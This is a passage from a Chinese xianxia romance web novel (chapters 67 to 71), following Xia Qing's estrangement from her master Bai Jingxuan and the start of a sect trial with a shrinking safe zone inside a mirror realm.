可喉头未能被完全咽下, 顺着她的嘴角溢出,流淌下来。 夏清瞳孔一缩,心尖仍兀自颤动。 随即,便忍不住自嘲。 她可真是贱呐,才刚被一剑捅个对穿,这就又心疼上了。 “伤得这么重?”夏清眉头轻拧,“快坐下疗伤。” 白镜玄摇了摇头,示意夏清不用。 她的伤究竟因何而来她自己心知肚明,以蛮荒这稀薄的天地灵气,就算将整个世界抽干了,也治不好她。 为今之计,只有先回紫霄峰。 夏清看一眼白镜玄左手尾指那一小段玉质指节。 回忆起那幻妖凶残,夏清还不寒而栗,怎地它此刻又耐得住性子,不尝试突破封印了? 尽管心冷如数九寒天,但白镜玄毕竟也是为了她才受伤,夏清深吸一口气,提醒道:“这只幻妖极其凶险,你还是想办法早日将它诛灭。” 白镜玄闻言,抬眸与夏清对视。 那眼神疲惫又苍凉,似想看进夏清心底去,但被夏清扭头躲开了。 “我明白。”白镜玄回答夏清,“清儿放心。” 夏清心说,我有什么不放心的? 比起关心白镜玄,她不如多关心关心自己。 今日之事发生之前,她几乎要以为白镜玄或许有可能永远不会恢复记忆。 但事实证明,那只是她异想天开。 白镜玄迟早会清醒,她这条炮灰配角的性命,一点也不值钱。 夏清转身走向福生鼎,伸手按住鼎身,将它收进掌心符印。 而夏清身后,白镜玄刻印伴侣契约那只手被在身后,藏入袖中,滚烫的印记将她手背皮肤蚀穿,汩汩鲜血顺着肌肤表面淌下来。 这场祭天仪式开始得匆忙,结束也异常突兀,袭击女皇的黑影全部伏诛。 与魔族勾结的宗亲们当天就被圣女派人统统抓获,压到圣坛一一审讯,而那些与宗亲们沆瀣一气,跟女皇唱反调的兽臣们也都被“邀请”来观礼,一个个在女皇和圣女的威仪面前,大气都不敢喘。 宗亲们跪地求饶,希望女皇看在彼此同宗同族,身上淌着相同血脉的份上,留他们一条性命,但女皇经此一事,内心已然获得巨大成长,不再相信这些宗族之人会真的将她视作手足,改邪归正。 一纸诏书下去,统统问斩,其态度不可谓不决绝。 这一波杀鸡儆猴,吓得满朝兽臣瑟瑟发抖,没有谁敢为这几个宗亲冒死向女皇求情。 女皇醒来,度过最开始那阵子茫然无措的阶段后,性情有所变化,比之以往更加沉默寡言,但也因此增添了许多威仪,加强了朝政的管理力度。 没等战场打扫干净,夏清便与白镜玄一同来到女皇面前辞行。 “辞行?”女皇万分诧异,看向白镜玄,“祭司也要走?” 白镜玄则道:“兽人族已度过劫难,陛下不再需要祭司辅佐,我是时候离开了。” 女皇身侧,圣女目光在夏清与白镜玄二人身上逡巡,想到白镜玄在祭天仪式上的表现,心中若有所悟,不由问道:“祭司大人,来自何方?” 这若有所指的一句话,让夏清也忍不住看向圣女。 别的不说,这位圣女当真聪慧,言语中透露的意思,似乎已经猜到白镜玄是什么身份。 已到离别之日,便没什么需要再隐瞒的,白镜玄回答道:“人外有人,天外有天。” 这看似似是而非的一句话,却让圣女面露恍然之色,当即正了脸色,朝白镜玄恭恭敬敬行了一礼。 兽人女皇将这一幕尽收眼底,虽不明白白镜玄和圣女之间在打什么哑谜,但从圣女言谈举止之中,多少能窥探一二。 换言之,白镜玄今日必定会走。 女皇面露遗憾之色,但终究没再出声挽留。 她叹了口气,不舍道:“祭司此行不知路途多远,山高水长,可需本皇为你置办什么?” 白镜玄摇了摇头,干脆利落:“不必。” 说完,便领着夏清转身向殿外走去。 临出大殿时,夏清脑海中闪过先前遗留的一个疑惑。 南城领主派人来圣城向祭司大人提亲,商谈两族和亲之事,使臣应该的确到过圣城,但不知为何和亲的消息没有传开。 这当中最关键的一环,夏清今日已经想通了。 无非就是女皇陛下自己也对祭司怀着几分别样的心思。 但这些,都无关紧要了。 目送夏清二人背影离开大殿后渐渐远去,兽人女皇静坐大殿之上,面色哀伤。 身旁,圣女的脑袋探过来,仔细观察女皇脸上神情,试探着说:“祭司姐姐这一走,应该不会回来了。” 女皇:“……” 她揉了揉眉心,叹息:“我知道。” 心中惆怅如一缕云烟缭绕盘旋,兽人女皇心戚戚然,忽然感觉万籁俱寂,高处不胜寒。 良久,她侧眸瞥一眼身旁明媚如骄阳的少女,开口问道:“你呢,你又何时离开?” 她的心愿显然已无法达成,但兽人族内乱已平,她心中所期盼的盛景还需她自己好好经营,而先前圣女许诺她的那些话,她只当是一片云,一场雾,不放在心上了。 圣女却道:“我不走,完成你的心愿之前,我不会走。” 兽人女皇闻言哂笑:“但我确实没有什么心愿了。” “没有心愿就再想一个。”圣女凑过来,在她腿上趴下,仰起头来望进女皇眼底,天真无邪地说道,“实在想不出来的话,要不你喜欢我吧?” 走出圣宫大殿,眼前景象一转,待视野恢复清晰,周围一切已经改变。 蛮荒大陆荒芜却辽阔的旷野自眼前消失,取而代之是九瑶川数丈高的玉石大门。 夏清下意识扭头看向身侧。 回到九瑶川,白镜玄身上的衣服也一同变了。 彻底脱离了蛮荒兽人祭司的身份,如今天地灵气充裕之地,她周身气质也被氤氲灵雾衬托得愈发出尘。 又是仙姿玉颜的镜玄仙尊了。 白镜玄与夏清同时现身,门前守得打瞌睡的天同洲主湘忆颜被忽然刮来的一阵风惊醒。 她猛地抬眸,那一道月白素袍便撞入她的视野。 “啊,峰主!”湘忆颜愕然。 白镜玄怎么回来了?! 震惊至于,她本能地要上前行礼,却又忽地看见白镜玄身侧的夏清。 夏清也在? 她探头探脑左瞧瞧,右瞧瞧,却不见她那冒冒失失天同洲的弟子。 湘忆颜顿时担心,但白镜玄看起来委实面色不善。 猜也知道趁着峰主不在期间,私自将弟子放下蛮荒是多逾矩的行径。 白镜玄还没说要罚她,她若主动凑过去,妥妥找死。 因而,湘忆颜不敢开口向白镜玄打听,只得等白镜玄走过之后,悄悄叫住夏清:“夏清,云儿没跟你一块儿回来?” 夏清停下脚步,眼角余光捕捉到白镜玄也停下来,不再继续往前走。 她答:“我与师姐因故分开了,师姐独自去找金灵草,应当还要耽搁几个时辰才能回来。” 没出什么大事就好。 湘忆颜放了心,压低声问:“峰主可是心情不大好?” 夏清摇头:“不知道,应该没有吧。” 心里却是另一番说辞:毕竟离开蛮荒就离开了她那一二三四五六七八个桃花,会心疼会遗憾会缅怀也是人之常情。 白镜玄:“……” 第68章 第六十八章 白镜玄想和夏清理论理论她哪里有一二三四五六七八个桃花, 但夏清不给她机会。 回到紫霄峰,夏清就以群峰试炼将近,要闭关准备为由回了自己的洞府。 丝毫也没在意白镜玄的脸色。 这若放在从前, 夏清就算心里不满白镜玄, 也绝对不敢表现在脸上, 如今倒好, 她彻底豁出去了,大不了就是白镜玄再给她一剑, 她受得起。 可如果白镜玄记忆没有恢复,大概是不会莫名其妙杀她的,她更不需要担心了。 夏清淡淡知会白镜玄一声就走了, 留白镜玄在峰顶洞府中独自发呆。 不知过了多久, 她回过神来,纤长的眼睫垂落下来,满眼落寞。 随即, 她翻开手掌,清寒的视线落在自己左手尾指上。 尾指最后一小截血肉玉化,那是被她封印的幻妖。 法力蒸腾,玉质化血肉的面积缓缓增加, 当蔓延到整个手掌时,她的掌心突然出现一个漩涡,从中淌下一滴血。 筷子形状的铁杵如一根针刺穿皮肤,从掌心缓缓退出来。 铁杵一边退, 玉质血肉内部涌动的银光便越来越激烈,铁杵完全脱离手掌的瞬间, 银芒汇聚成一根尖刺,从那漩涡中猛地蹿出来, 直指白镜玄咽喉。 白镜玄面色不改,只一刹那,三千道剑气同时削过银芒,将流动的水银片成一片一片的,暴露出当中黑色内核。 没等水银重聚,白镜玄指尖一点,那黑色眼球便被强行拽出来,落入她右手手掌之中。 而那悬在空中的碎水银,这才缓缓下坠。 还未触及地面,便被一把不知何处燃起的大火烧尽了。 手掌中那只黑色眼球爆发惊恐的尖叫声,没了水银的包裹,它只能任人宰割。 “白镜玄!”幻妖失声尖叫,“有话好说!你我仇怨也没到不死不休的地步,你就放了我,或者我给你当牛做马,我把魂印给你!和你签主奴契约!” “主奴契约?”静谧清冷的洞府中,响起白镜玄冷若冰霜的声音,“我缺你这样的仆从?” 幻妖语塞,但求生欲爆棚,舔着脸继续劝说:“你不要我当仆从也可以,我还有别的价值!” 白镜玄没有立即动手将它诛杀,闻言脸上露出一抹玩味的笑,淡淡瞥它一眼。 生死关头,幻妖哪敢再继续猖狂,忙不迭绞尽脑汁推销自己:“这三千年来魔界往仙界塞了不少卧底……” 它话到一半,白镜玄问它:“你能把他们都找出来?” “额……”幻妖尴尬,“不能。” 白镜玄冷笑,就要动手诛妖。 幻妖惨叫:“但我可以去魔渊当你的卧底!” 白镜玄掐诀的动作顿了顿,眉梢轻轻扬起:“就凭你?魔族会信你?” 似从白镜玄的语气中听出了些许动摇的意思,幻妖趁热打铁:“当然会信!我夺舍白镜玄失败遭到反噬,被打个半死,好不容易逃出来,心中仇恨难消,魔族肯定愿意帮我复仇!” 白镜玄眼睑下投落一片阴影,遮挡了她的眼神。 幻妖惴惴不安,唯恐白镜玄不肯放过它,继续软磨硬泡地劝说:“你若放我走,我每个月都给你传密报,你让我做什么,我就做什么!” “听起来有点意思。”白镜玄说道。 幻妖仿佛听见希望的曙光,眼珠子都亮起来:“那……” 可它刚吐出一个字,忽然白镜玄手掌中蹿起一蓬紫火,将它黑色眼球吞噬了。 白镜玄冷冷说道:“但我不需要。” 她知道是谁在作祟,也知道对方藏在哪里。 是她许多年前一时心软留下的一个祸害。 怪她当初只是抽了她的仙筋,剃了她的仙骨,却暗中留下了她的性命。 而今,这个她当初亲手放走的人却要来向她索命。 夏清闭关半个多月,感觉修为有所突破,但突破到什么程度,她不太清楚。 出关这日,开门就看到白镜玄。 她下意识想要将门重新合上,白镜玄长袖一扫,木门就像被什么东西抵住一动不动,无奈只得听白镜玄把话说完。 “我来还东西给你。”白镜玄说着,从袖中取出定沙神针。 夏清下意识看向白镜玄的左手,她的定沙神针记得是借给白镜玄镇压幻妖了。 白镜玄左手尾指玉化的部分已经完全消失,看样子幻妖被彻底斩除了,夏清见状,心里偷偷松了一口气。 她从白镜玄手中拿过法宝,见白镜玄原地站着不走,她想了想,说:“群峰试炼即将开始,峰内要参加试炼的弟子什么时候集合?” 白镜玄缓声答:“三天后。” “哦。”夏清点头,“那我再闭关修炼三天。” 说完就要关门,奈何白镜玄不走,门关不上。 夏清不得不再次抬头,视线落向门外的白镜玄,看她还有什么话说。 白镜玄沉吟许久,最终还是忍不住问道:“清儿还在为圣城发生之事与我置气么?” 从蛮荒回来后,夏清态度的改变白镜玄不可能没有发现。 虽然明面上夏清没有和她爆发冲突,但夏清回避意图明显,借闭关为由不和她相处,连心声都听不见。 夏清被白镜玄这句话逗笑了:“和你置气?我哪儿敢呐,快走吧别耽误我修炼。” 白镜玄:“……清儿。” “你若不走,那就我走。”夏清从屋里出来,“我去找柳师姐。” 如果她没猜错的话,柳菡云应该也是要参加群峰试炼的,应该已经从蛮荒回来了。 这不,说曹操曹操就到。 夏清话音刚落,院外就传来柳菡云的呼声:“夏师妹!” 柳菡云不见外地推开夏清院门,正要迈步进来,却倏地看清院中站着的人。 院门敞着,柳菡云在门口呆滞须臾,忽然,哐一声,院门重新合上。 门后,柳菡云的声音惊慌失措:“对不起,当我没有来过!” 鬼知道她当初获知小貂儿就是白镜玄时内心受到多大的震撼,以至于后来她去找金灵草的途中连续几天不敢闭眼,生怕自己眼睛一眯就怀疑在做梦。 小貂儿是白镜玄,白镜玄是小貂儿,那么夏清和貂儿签订的伴侣契约,就是夏清和白镜玄…… 柳菡云真觉得自己是见鬼了。 如果白镜玄知道夏清擅自和小貂儿签伴侣契约是受了她的撺掇……不敢想。 她吓都要吓死了。 院门后脚步声迅速远去。 夏清:“……” 外援她轻轻地来,又轻轻地走。 夏清停下脚步,耐着性子看向白镜玄。 事已至此,僵持着也无济于事,触怒白镜玄对她而言没有一丝一毫的益处。 夏清脑子转得飞快,该趁着白镜玄对她还有愧疚之感,尽早把逃离紫霄峰的计划敲定。 说不定,今日就是一个不错的切入口。 她有的是耐心,静等白镜玄开口。 不料,白镜玄良久沉默之后,却道:“柳菡云找到了金灵草,湘洲主为江梓秋重溯筋骨,江梓秋伤势已经恢复,不日就会苏醒,柳菡云来此,应该是想告诉你这个喜讯。” “确实算是个喜讯。”夏清点了点头。 当初江梓秋坠崖柳菡云受伤,夏清多少担点儿责任,还为此愧疚了好长时间。 幸好这件事如今有了结果,江梓秋伤势恢复,可以说是一个圆满结局了,她和柳菡云跑去蛮荒折腾几个月的时间也算没有白费。 见夏清神色缓和,愿意接茬了,白镜玄眼底透出些许辉光。 她抿了抿唇,终于鼓足勇气开口:“清儿,我知错了。” 夏清闻言挑眉,知错了? 该说不说,渣女就是渣女,滑跪道歉倒是熟练,却不知道她哪一句是真心,哪一句是假意。 白镜玄特地来找她,又是送还东西,又是道歉的,可她想听的不是这些。 “那日事发突然,我别无选择……” “可得了吧。”夏清打断她,“什么叫别无选择?” 若日后再遇到相似的事情,白镜玄会怎么做?难不成但凡遇到和魔族正面交锋处于劣势,就杀她一剑重来?可不要太搞笑。 炮灰怎么了?炮灰那也是人呐?是炮灰就可以当她是个触发bug的道具来回使用吗? “分手吧。”夏清说。 白镜玄瞳孔倏地一缩,脸色煞白:“你,你说什么?” “当时签契约是为了救你性命,现在幻妖已除,我没必要再拿契约束着你。”夏清语气冷漠,“把契约解了,我去参加群峰试炼,你去找你散落在蛮荒各地的桃花,两全其美。” 夏清每多说一个字,白镜玄的脸色便白一分。 直到夏清说完,白镜玄终于无法忍耐:“不行,我不同意。” “你若是觉得我负了你也没关系,取消我去参加试炼的名额也行。”夏清冷冷淡淡继续说道,“峰上的人正好都不待见我,你就随便找个理由把我逐出师门,我就不会再来你面前晃悠了,更谈不上跟你置气。” 说这话时,她的手背狠狠痛了一下,像被点燃的烟头摁着烫。 但夏清面不改色把话说完。 如果白镜玄一气之下把她逐出紫霄峰,那正好,还免去了过程中复杂曲折的计划。 夏清话音刚刚落下,白镜玄忽然脸一白,呕出一口心头血。 “!”夏清愣住。 白镜玄身形晃悠,好像随时可能摔倒。 夏清垂在身侧的双手猛地攥成拳头,差点就没忍住去扶。 白镜玄晃了好几下,后退两步终于站稳,但她清雅从容的气质不复存在,只剩下满身狼狈。 “不和离。”白镜玄扬起头,那双幽静好似深渊般的眼眸深深凝望夏清,“清儿,不和离,好不好?” 第69章 第六十九章 白镜玄虚弱痛苦的样子, 好像下一秒就要死了。 夏清死咬着牙关,指甲盖儿都嵌进手掌心,才没勉强没有露怯。 差点就相信白镜玄是真心, 当然, 此时此刻的白镜玄, 或许真的是真心。 因为她还没有恢复记忆。 可即便是这个真心想要挽留她的人, 也会在必要的时候一剑刺穿她的心脏。 请问这场虚假的恋爱到底给她带来了什么? 等到白镜玄的脑子恢复清醒,她就没有偷偷离开的机会了。伴侣契约束缚在身, 她即便偷跑,也很容易被白镜玄抓回来。 她不想陷得更深了。 当断不断,反受其乱。 夏清态度坚持, 无法接受的人反而是白镜玄。 白镜玄落寞地合上眼, 踉跄着后退几步。 随后,没等夏清再开口,她长袖一扫, 自夏清院中凭空消失。 夏清沉默地望着空荡荡的庭院,内心纠结。 良久,垂下眼眸无奈叹息。 谁能想到,她们会闹到现在这个样子。 白镜玄一走, 阻挡木门的力量也跟着消失,夏清得以将房门合* 上。 但她已没有心思修炼,心乱如麻,千丝万缕, 理不清头绪。 算了,实在没法解除契约, 就先这样,等到群峰试炼结束, 她便趁机溜走,去四海云游。 自在闲散的日子,偷得一日算一日。 魔族那边…… 夏清琢磨着,白镜玄派她去参加群峰试炼,肯定会有魔族眼线跟着她。 到时候随机应变吧。 三日时间很快就过去了,夏清临到出门才想起来那日白镜玄只说了三日后集合,却没通知她在哪里集合,失策。 但这难不倒夏清,她自路边摘下几片树叶随手一扔,见卦象便知方位,悠游潇洒地寻了去。 参加群峰试炼的弟子在观山台集合,夏清是最后一个到的。 她来时,台上十数名各洲弟子包括柳菡云在内,齐刷刷扭头看向她。 每个人的眼神中都好似积聚了很深的情绪。 夏清撇撇嘴:嘁。 哦,不光各洲弟子,还有人群最前边的白镜玄。 白镜玄眼神幽幽怨怨的,夏清不敢和她对视,装作不经意地把目光扭开。 柳菡云将手背在身后朝夏清隐晦招手。 夏清捕捉到她的小动作,快走几步过去,左右瞧了瞧,问:“气氛好像有点奇怪?” 柳菡云龇了龇牙:“大伙儿等你半天了。” 夏清:“?” “你不来,峰主也不说话,怪吓人的。” 白镜玄心情不好,百分之百是因为夏清。 虽然不知道夏清和白镜玄那日沟通得怎么样,但见夏清如此有恃无恐,柳菡云感觉自己好像也平白多了两分底气。 但不管怎么说,峰主没有把她逐出紫霄峰,此事就还有余地,至少夏清没有把她供出去。 柳菡云和夏清窃窃私语,白镜玄身侧,长老脸色连连变化,几次清嗓子提醒。 当长老第三次要清嗓子的时候,白镜玄开口:“时辰差不多了,出发吧。” 她话音落下,长老纷纷躬身:“恭送峰主。” 夏清闻言面色一变,扭头问柳菡云:“她要一起去?” 虽然群峰试炼是一项大型考试,九瑶川内几大仙峰弟子都会参与,但据她所知,以往好几届群峰试炼都是峰上长老带着弟子们去,没有哪一次是白镜玄亲自带队的。 柳菡云虽也感到惊讶,但念及夏清和白镜玄之间那层隐晦的关系,又感觉好像并不出奇。 人群前,白镜玄似乎朝她们这边淡淡扫了一眼。 柳菡云赶紧低下头:“可能这次比较特殊。” 特殊在哪里,不言而喻。 夏清:“……” 罢了,走一步看一步。 白镜玄收回目光,并起两指往虚空中一划拉,空地上方便出现一条虚空裂缝。 这条裂缝直接通往九瑶川群峰试炼之地,可容纳在场十数参加试炼的弟子同时通过。 架设好虚空裂缝,两名长老作为副手率先踏入裂缝探路,随即是前排弟子,夏清和柳菡云磨磨蹭蹭跟在后头。 可她们再磨蹭,终究也会走到裂缝前。 白镜玄就在那儿等着她们。 柳菡云自是大气都不敢喘一口,挺胸抬头目不斜视同手同脚朝前走。 最终,裂缝前只剩下夏清和白镜玄。 夏清视线扫向白镜玄,白镜玄立即回避了她的眼神,只道:“走吧。” 话音落下,白镜玄已迈开脚步踏进裂缝。 夏清目光在她背影逗留须臾,也跟着走进去。 待众人身影全部没入裂缝之中,裂缝开口迅速收拢。 便在此时,无人注意的角落,一蓬黑雾悄然升起,趁着裂缝闭合之前,钻了进去。 裂缝另一端,是九瑶川群峰弟子试炼之地。 夏清踏出裂缝,便被刺眼的白光闪得眼睛都不睁开,过了好一会儿,双眼才勉强睁开一条缝。 天地间全是白的,白玉搭建的宫殿,上到房檐砖瓦,下到梁柱石台,就连脚底下铺路的玉石上都雕刻着许多精美花纹。 夏清不由感慨:“这得多有钱呐。” 如此品相的玉石,随便挖一块,拿回二十一世纪都能卖很高的价钱。 白镜玄闻言斜眸瞧她一眼。 与此同时,夏清心里响起白镜玄的声音:清儿喜欢白玉? 夏清不理她。 白镜玄也没再搭话。 紫霄峰众弟子离开虚空裂缝之后,抵达地方是九瑶川川府外的广场上,川府的仙官一早就候在此处,见得白镜玄,皆是一愣。 不过,他们训练有素,没有表露惊讶,而是立马恭恭敬敬上前:“紫霄峰主,诸位这边请。” 九瑶川共有十二仙山,此次试炼是这十二仙山弟子共同参与。 每座峰报名参加试炼的弟子十到二十人不等,合计下来,共有一百九十余人。 川主为十二仙山弟子各分配了等候区,夏清等人到来之时,川府前已有几波人马。 白镜玄一现身,瞬间招来许许多多的目光。 夏清去蛮荒历练一遭,回来后修为提升许多,耳聪目明,听见周围人群此起彼伏的惊呼声。 没有人不被镜玄仙尊的美貌与气质折服。 他们此刻就像刚穿来的夏清。 如果真正只道白镜玄是个什么样的人,就不会如此痴迷了。夏清心想。 身旁,其余紫霄峰弟子与有荣焉,就连柳菡云都挺直了身板儿。 只有夏清一个人不在意这些数不清的议论声。 试炼的时间很早以前就已经通知到位,因而白镜玄领着夏清等弟子到位后,广场上陆陆续续又出现了几条虚空裂缝,每次都会降落一批人。 不到正午,十二峰所有参加试炼的弟子都到齐了。 别的弟子在等候区休息的时候,不是盘腿打坐,就是拿一本书出来温习。 只有夏清和柳菡云,在人群中叽叽呱呱,来一拨人,就品头论足两句,看气质看长相看这些弟子们的相处状况,推算哪些人是这次群峰试炼的种子选手。 两百来人参加这场试炼,却不是所有人都有进入仙宫的机会,应要拿到试炼前十才有资格。 夏清一开始就没抱进仙宫的期望,她只是来走个过场,找机会脱身罢了。 可现在白镜玄亲自跟了来,她的逃跑计划还需从长计议。 川主现身白玉台,又耐心重复了一遍群峰大比的规则,随后便召来十二位长老,在各峰弟子等候区外设点。 十二人同时盘腿坐下,双手掐出古怪印诀。 而那川主则在人群中间,将一面铜镜抛向空中。 那铜镜在半空转了几周,到达最顶上后就不再旋转,也没有下落,而是悬浮于白玉台几丈高的地方。 虚空中灵力波动,十二条金线陡然从那铜镜中延伸出来,向四周扩散。 紧接着,十二名长老彼此之间又被金线两两相连。 金线交织,华光浮动,形成一个巨大的十二棱边锥体,将白玉台上空间划分成十二等份。 每个等候区前方都出现一扇三角形的虚空传送门。 “这九瑶镜中映照出荒古遗迹一角,成独立异境空间,此次试炼规则简单,诸位只需将元神投入异境,击杀荒兽。” “击杀与自己实力相仿的荒兽,一只记一分,击杀实力远超自己的荒兽,一只记十分,而击杀实力远低于自己的荒兽,不计分。” “试炼持续十日。”川主有条不紊地说道,“最先完成任务的十个人,可入仙宫修行。” 言罢,他视线缓缓扫过四周人群。 “诸位听清楚了吗?” 荒古遗迹。 夏清和柳菡云对视一眼,脸上神情微妙。 哎呀,可不巧了吗? 没想到啊,穿越到异世界还能有押对高考考题的体验。 第70章 第七十章 夏清望着周遭熟悉的景象, 产生了时空再次回转的错觉。 这九瑶镜中投射出来的场景和真实的荒古异境简直一模一样。 大到天象地质,小到地上的花花草草,夏清感觉自己仿佛又回到了荒古异境之中, 和之前的任务大差不差, 也是寻找柳菡云。 她们的身体还留在九瑶川川府外的白玉广场上, 只元神通过传送门投射进入荒古异境, 游戏规则也和真实的荒古异境一样,随机降落在一个地点, 剩下的就靠自己发挥。 如果能凑巧和柳菡云汇合,她们击杀荒兽的效率当然能大大提高。 当初刻印在她们手背上的临时契约随着时间推移已经自行消失,夏清无法通过契约感应柳菡云的动向, 只能临时卜一卦看看。 卦象成, 暗示柳菡云应该在东南方向。 在这荒古异境之中,东南是哪个方向比较难确定,夏清以自己起卦的地点为太极中心, 将自己视野左前方向锚定为巽卦,并以此为路径方向展开行动。 有过在荒古异境生存的经验,夏清对环境已有了解,手中握有福生鼎和定沙神针两大利器, 足够她在众多荒兽之间周旋。 保险起见,她只对跟自己实力差不多的落单荒兽动手。 虽然一分一分增加,任务进程比较慢,但得益于福生鼎能炼化吸收荒兽的尸体, 从而将部分法力反哺给夏清,在狩猎荒兽的过程中, 夏清的体力消耗相对较小。 因此,她可以持续高强度的狩猎行动, 并保证自己有基础的体能继续寻人。 某日,夏清击杀一头荒兽,在一张兽皮上做下记号。 进入荒古异境已经三天,兽皮上拢共刻下了十六个标记。 夏清:“……” 目标任务是一百份,平均每天得十只荒兽打底,照这个速度下去,她肯定会被淘汰。 算了,反正她也是来当混子的,并不是真的想去仙宫修炼。 等到试炼结束,她就找机会脱身。 不成功,便成仁。 夏清收起兽皮,正待继续往东南方向寻找,看路上会不会碰见下一个目标。 忽然,地面震动起来,晃得夏清一个踉跄。 紧接着,浩瀚荒野上空响起九瑶川主的声音:“一个时辰后,异境空间外围坍塌,狩猎地图范围缩小,未在时限之内抵达安全地点的试炼者,当场淘汰。” 话音落下,忽然一道白光从天而降,光柱笼罩的范围内视野还算敞亮,而没被光芒找到的地方则陷入长夜般的黑暗。 天地空间就像停电关灯似的,唰一下就黑了。 远处光芒反射之下,只剩夏清两个眼珠子还亮着。 夏清:“???” 沙盒游戏?! 那光芒照耀的位置不是她来时的方向吗?! 离了大谱。 夏清迅速反应过来,被光束照亮的地方才是安全区,她得在一个时辰内赶到,否则直接玩完。 “对不起了,柳师姐!” 就算柳菡云可能还在前方,她也不会去找了。 当务之急是先赶到西北方向的安全区,夏清在穿来之前玩过很多沙盒游戏,对规则门清。 来都来了,她还是想尽力好好表现,这该死的好胜心。 夏清刚要动身,忽然嗖一声响,一道身影御剑从她身旁飞过。 劲风吹动夏清耳侧的头发,哗啦啦拍得她脸颊生疼。 夏清:“……” 下一秒,她撒开腿追上去:“柳师姐!!等等我!!!” 追出去几里地,柳菡云已经跑得影都没了。 夏清反思自己的动念,她放弃寻找柳菡云打算独善其身的念头错了,所以现世报来得如此快。 柳菡云这速度,肯定能进安全区,这下换她危。 她继续往安全区方向移动,但那白色光圈好像一座高塔,远远的能看见,但不管她走多远,那距离似乎只拉近了一点点。 夏清给自己双腿贴了疾行符,而后卖力狂奔,将福生鼎反哺给她的法力全耗在上面,终于快抵达白光笼罩的安全区。 但是,一个时辰计时结束,空间此刻开始坍塌。 大地晃动,虚空塌陷,荒古异境中一幕幕场景收缩变小,幻化为一面三角形的金色光幕。 九瑶川川府外,各峰弟子接盘坐在等候区,那光幕中,是他们元神竞技的画面。 十二片大光幕又各自分裂成十三个碎片区域,涵盖异境空间所有角落,每个队伍的带队长老都全神贯注盯着光幕,从中寻找自己这峰的弟子。 白镜玄注意力从始至终都在夏清身上。 九瑶川主向白镜玄套近乎:“紫霄峰主今次试炼亲自驾临,川府蓬荜生辉。” 白镜玄眼睫颤了颤,视线没有半分挪转,像没听见川主说话。 川主脸色有两分尴尬,但因正事没有说完,不便就此离去,因而又道:“仙宫来了一位使者,希望能与仙尊见一面。” “本座与仙宫已无瓜葛。”白镜玄回答。 川主眉头微蹙,面有难色,但随即眉头便松开,继续劝说:“此事关乎近来魔渊异动。” 白镜玄终于回转视线,冷冰冰的眼神看向九瑶川主:“魔渊异动,与本座有何相干?” 被白镜玄目光盯着,川主压力很大,忍不住抬袖擦了擦脸,这才继续说道:“魔渊异动,当是历史遗留问题,仙宫那边认为……” 白镜玄接下他的话:“认为应该我去加固封印,以免那些凶物跑出来作乱。” 川主匆忙低头,不光是因为他未尽之言被白镜玄看穿,更是因为白镜玄此刻表现出来的逼人态度。 “仙宫应该还有很多人选。”白镜玄冷冷说道,“为何非得是本座?” 川主喉咙动了动,咽了口唾沫,只能如实回答:“魔渊此次异动不同寻常,有可能突破荒古异境的封印,仙宫先前已派出部分人手前去打探,这些人都一去不返。” “只有你,紫霄峰主,你最了解那凶物的弱点,” 良久,白镜玄没有回答。 九瑶川主满头大汗,以为白镜玄要拒绝仙宫的委托,他无法向仙宫来使交代。 但白镜玄不松口,他也不敢让白镜玄和仙宫的使臣见面,唯恐再发生过去那样的惨案。 便在这时,白镜玄开口:“可以,本座去除魔。” 九瑶川主闻言,先是一愣,随即大喜,可没等他的喜悦爬上眉梢,白镜玄又道:“但本座有一个条件。” “什么条件?”九瑶川主态度变得从容,只要白镜玄答应这件事,他就可以向仙宫交代,她提任何条件都不是问题。 随即,便听白镜玄道:“等试炼结束。” 九瑶川主又一次愣住,他还以为白镜玄会提多不得了的要求,竟然只是如此? 不过,仙界一日,蛮荒一年,试炼还有七天,相当于蛮荒时间要再推七年,这个时间界限也比较微妙,期间不知道会不会发生什么变故。 白镜玄说完这句话就回转视线看向光幕,不再搭理他了。 九瑶川主明白,这是白镜玄的底线。 “我会将仙尊原话转告给仙宫来使。”九瑶川主如此说道。 同不同意,不是他说了算。 但白镜玄已表了态,没有接茬。 九瑶川主顺着白镜玄视线看向笼罩白玉台的巨大光幕,刚才空间坍缩,一小半碎片光幕都熄灭了。 与此同时,这些没来得及进入安全区的弟子纷纷抛出幻境,回到白玉台上自己的身体中。 他们一睁眼,就知道游戏已经结束,他们没有机会了。 白镜玄灵识覆盖整个白玉台,夏清盘腿坐在紫霄峰的等候区,没有醒来。 荒古异境之中,夏清趴在光芒照耀的区域边缘,缩了缩脚。 她刚才最后关头跑得太极限,鞋底都磨破了。 眼看即将到达安全区,她足尖被突然出现的石头绊一下,紧接着失去平衡,直挺挺地扑向大地,结结实实摔个狗啃泥。 那一瞬间,夏清两眼一黑。 她以为自己这把没戏了,没想到这一绊摔到滑溜溜的地皮,滋溜一下滑出老远,险而又险在黑暗空间坍缩之前被惯性送进了安全区。 好家伙,这经历真是惊心动魄。 还好还好,她大难不死必有后福,咸鱼只要苟住就是胜利! 可是,当她抬头看清自己所处的位置,挂在脸上庆幸的笑容缓缓消失。 出现在她眼前的是一座荒废已久的古老遗迹。 天空灰蒙蒙的,虽然不似黑夜那般深沉,但也不够明亮。 眼前坍塌的建筑表面残留着明显的风蚀痕迹,与天地相接,场景浩瀚苍凉。 从坍缩的黑暗中来到这里,仿佛离开一个深渊,又进另一个深渊。 但是,真正吸引她视线的,是站在遗迹前的那个人。 那人背对着她,身着天同洲弟子蓝色制服,腰间悬挂一把玉扇,手中提着一把剑。 背影颀长,姿态潇洒。 夏清倒吸一口冷气。 仿佛是听见了身后传来的动静,那人缓缓转过身来。 干净清爽的脸庞,唇角微扬,一双桃花眼盛着莹莹波光,好似无忧无虑,永远笑眯眯的。 在看清夏清的刹那,她眼里映入星辉,唇边笑意陡然扩大,咧嘴道:“夏师妹!” 夏清霎时头皮一炸,背脊发麻。 她哆嗦着翻身试图站起来。 结果地面太滑,又一屁股坐下去,感觉屁股蛋儿都快摔平了。 可夏清无暇他顾,仍本能蹬腿往后退。 退也只退了几寸远,因为身后高高竖起的空间壁已经是这片安全区的最边缘。 她退无可退。 眼看柳菡云迈步就要走过来,夏清疯狂应激:“你不要过来啊!!!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-78 第71章 第七十一章 柳菡云停下脚步, 歪歪头:“师妹?” 夏清后背贴着空间壁,脖子死死往后缩:“你可是真的柳师姐?!” 柳菡云被夏清问得一愣,随即反应过来:“哦!” 夏清内心:你哦什么哦! “师妹以为我是假的?”柳菡云笑得很开朗, “是幻妖变的?” 夏清:“……” 拜托你不要笑了。 柳菡云笑得越灿烂, 夏清越觉得瘆人。 